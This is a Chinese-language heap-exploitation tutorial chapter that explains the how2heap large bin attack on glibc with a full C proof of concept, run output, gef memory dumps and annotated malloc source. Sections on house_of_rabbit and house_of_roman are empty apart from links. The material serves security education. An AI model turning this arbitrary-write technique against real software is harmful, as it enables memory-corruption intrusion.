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266 lines
10 KiB
Markdown
266 lines
10 KiB
Markdown
# 3.1.9 Linux 堆利用（四）
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- [how2heap](#how2heap)
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- [large_bin_attack](#large_bin_attack)
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- [house_of_rabbit](#house_of_rabbit)
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- [house_of_roman](#house_of_roman)
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- [参考资料](#参考资料)
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[下载文件](../src/Others/3.1.6_heap_exploit)
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## how2heap
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### large_bin_attack
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```c
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#include<stdio.h>
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#include<stdlib.h>
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int main() {
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unsigned long stack_var1 = 0;
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unsigned long stack_var2 = 0;
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fprintf(stderr, "The targets we want to rewrite on stack:\n");
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fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
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fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
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unsigned long *p1 = malloc(0x100);
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fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
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malloc(0x10);
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unsigned long *p2 = malloc(0x400);
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fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
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malloc(0x10);
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unsigned long *p3 = malloc(0x400);
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fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
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malloc(0x10);
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// deal with tcache - libc-2.26
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// int *a[10], *b[10], i;
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// for (i = 0; i < 7; i++) {
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// a[i] = malloc(0x100);
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// b[i] = malloc(0x400);
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// }
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// for (i = 0; i < 7; i++) {
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// free(a[i]);
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// free(b[i]);
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// }
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free(p1);
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free(p2);
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fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
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malloc(0x30);
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fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
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p2[-1] = 0x3f1;
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p2[0] = 0;
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p2[2] = 0;
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p2[1] = (unsigned long)(&stack_var1 - 2);
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p2[3] = (unsigned long)(&stack_var2 - 4);
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fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
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free(p3);
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malloc(0x30);
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fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
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fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
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fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
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}
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```
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```text
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$ gcc -g large_bin_attack.c
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$ ./a.out
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The targets we want to rewrite on stack:
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stack_var1 (0x7fffffffdeb0): 0
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stack_var2 (0x7fffffffdeb8): 0
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Now, we allocate the first chunk: 0x555555757000
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Then, we allocate the second chunk(large chunk): 0x555555757130
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Finally, we allocate the third chunk(large chunk): 0x555555757560
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Now, We free the first and the second chunks now and they will be inserted in the unsorted bin
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Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist
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Now we use a vulnerability to overwrite the freed second chunk
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Finally, we free the third chunk and malloc again, targets should have already been rewritten:
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stack_var1 (0x7fffffffdeb0): 0x555555757560
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stack_var2 (0x7fffffffdeb8): 0x555555757560
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```
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该技术可用于修改任意地址的值，例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏，例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。
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首先我们分配 chunk p1, p2 和 p3，并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下：
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```text
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gef➤ x/2gx &stack_var1
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0x7fffffffde70: 0x0000000000000000 0x0000000000000000
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gef➤ x/4gx p1-2
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0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1
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0x555555757010: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx p2-6
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0x555555757110: 0x0000000000000000 0x0000000000000021
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0x555555757120: 0x0000000000000000 0x0000000000000000
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0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2
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0x555555757140: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx p3-6
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0x555555757540: 0x0000000000000000 0x0000000000000021
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0x555555757550: 0x0000000000000000 0x0000000000000000
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0x555555757560: 0x0000000000000000 0x0000000000000411 <-- p3
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0x555555757570: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx p3+(0x410/8)-2
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0x555555757970: 0x0000000000000000 0x0000000000000021
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0x555555757980: 0x0000000000000000 0x0000000000000000
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0x555555757990: 0x0000000000000000 0x0000000000020671 <-- top
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0x5555557579a0: 0x0000000000000000 0x0000000000000000
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```
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然后依次释放掉 p1 和 p2，这两个 free chunk 将被放入 unsorted bin：
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```text
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gef➤ x/8gx p1-2
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0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1 [be freed]
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0x555555757010: 0x00007ffff7dd3b78 0x0000555555757130
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0x555555757020: 0x0000000000000000 0x0000000000000000
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0x555555757030: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx p2-2
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0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
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0x555555757140: 0x0000555555757000 0x00007ffff7dd3b78
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0x555555757150: 0x0000000000000000 0x0000000000000000
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0x555555757160: 0x0000000000000000 0x0000000000000000
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gef➤ heap bins unsorted
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[ Unsorted Bin for arena 'main_arena' ]
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[+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000
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→ Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE) → Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE)
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[+] Found 2 chunks in unsorted bin.
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```
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接下来随便 malloc 一个 chunk，则 p1 被切分为两块，一块作为分配的 chunk 返回，剩下的一块继续留在 unsorted bin（p1 的作用就在这里，如果没有 p1，那么切分的将是 p2）。而 p2 则被整理回对应的 large bin 链表中：
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```text
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gef➤ x/14gx p1-2
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0x555555757000: 0x0000000000000000 0x0000000000000041 <-- p1-1
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0x555555757010: 0x00007ffff7dd3c78 0x00007ffff7dd3c78
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0x555555757020: 0x0000000000000000 0x0000000000000000
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0x555555757030: 0x0000000000000000 0x0000000000000000
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0x555555757040: 0x0000000000000000 0x00000000000000d1 <-- p1-2 [be freed]
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0x555555757050: 0x00007ffff7dd3b78 0x00007ffff7dd3b78 <-- fd, bk
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0x555555757060: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx p2-2
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0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
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0x555555757140: 0x00007ffff7dd3f68 0x00007ffff7dd3f68 <-- fd, bk
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0x555555757150: 0x0000555555757130 0x0000555555757130 <-- fd_nextsize, bk_nextsize
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0x555555757160: 0x0000000000000000 0x0000000000000000
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gef➤ heap bins unsorted
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[ Unsorted Bin for arena 'main_arena' ]
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[+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040
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→ Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE)
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[+] Found 1 chunks in unsorted bin.
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gef➤ heap bins large
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[ Large Bins for arena 'main_arena' ]
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[+] large_bins[63]: fw=0x555555757130, bk=0x555555757130
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→ Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)
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[+] Found 1 chunks in 1 large non-empty bins.
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```
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整理的过程如下所示，需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列，如果大小相同则按照最近使用顺序排列：
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```c
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/* place chunk in bin */
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if (in_smallbin_range (size))
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{
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[ ... ]
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}
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else
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{
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victim_index = largebin_index (size);
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bck = bin_at (av, victim_index);
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fwd = bck->fd;
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/* maintain large bins in sorted order */
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if (fwd != bck)
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{
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/* Or with inuse bit to speed comparisons */
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size |= PREV_INUSE;
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/* if smaller than smallest, bypass loop below */
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assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
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if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
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{
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[ ... ]
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}
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else
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{
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assert ((fwd->size & NON_MAIN_ARENA) == 0);
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while ((unsigned long) size < fwd->size)
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{
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[ ... ]
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}
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if ((unsigned long) size == (unsigned long) fwd->size)
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[ ... ]
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else
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{
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victim->fd_nextsize = fwd;
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victim->bk_nextsize = fwd->bk_nextsize;
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fwd->bk_nextsize = victim;
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victim->bk_nextsize->fd_nextsize = victim;
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}
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bck = fwd->bk;
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}
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}
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else
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[ ... ]
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}
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mark_bin (av, victim_index);
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victim->bk = bck;
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victim->fd = fwd;
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fwd->bk = victim;
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bck->fd = victim;
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```
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假设我们有一个漏洞，可以对 large bin 里的 chunk p2 进行修改，结合上面的整理过程，我们伪造 p2 如下：
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```text
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gef➤ x/8gx p2-2
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0x555555757130: 0x0000000000000000 0x00000000000003f1 <-- fake p2 [be freed]
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0x555555757140: 0x0000000000000000 0x00007fffffffde60 <-- bk
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0x555555757150: 0x0000000000000000 0x00007fffffffde58 <-- bk_nextsize
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0x555555757160: 0x0000000000000000 0x0000000000000000
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```
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同样的，释放 p3，将其放入 unsorted bin，紧接着进行 malloc 操作，将 p3 整理回 large bin，这个过程中判断条件 `(unsigned long) (size) < (unsigned long) (bck->bk->size)` 为假，程序将进入 else 分支，其中 `fwd` 是 fake p2，`victim` 是 p3，接着 `bck` 被赋值为 (&stack_var1 - 2)。
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在 p3 被放回 large bin 并排序的过程中，我们位于栈上的两个变量也被修改成了 `victim`，对应的语句分别是 `bck->fd = victim;` 和 `ictim->bk_nextsize->fd_nextsize = victim;`。
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```text
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gef➤ x/2gx &stack_var1
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0x7fffffffde70: 0x0000555555757560 0x0000555555757560
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gef➤ x/8gx p2-2
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0x555555757130: 0x0000000000000000 0x00000000000003f1
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0x555555757140: 0x0000000000000000 0x0000555555757560
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0x555555757150: 0x0000000000000000 0x0000555555757560
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0x555555757160: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx p3-2
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0x555555757560: 0x0000000000000000 0x0000000000000411
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0x555555757570: 0x0000555555757130 0x00007fffffffde60
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0x555555757580: 0x0000555555757130 0x00007fffffffde58
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0x555555757590: 0x0000000000000000 0x0000000000000000
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```
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考虑 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，在 free 之前把两种大小的 tcache bin 都占满。
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### house_of_rabbit
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### house_of_roman
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## 参考资料
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- [House of Rabbit - Heap exploitation technique bypassing ASLR](http://shift-crops.hatenablog.com/entry/2017/09/17/213235)
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- https://github.com/shift-crops/House_of_Rabbit
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- [House_of_Roman](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc)
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- https://github.com/romanking98/House-Of-Roman
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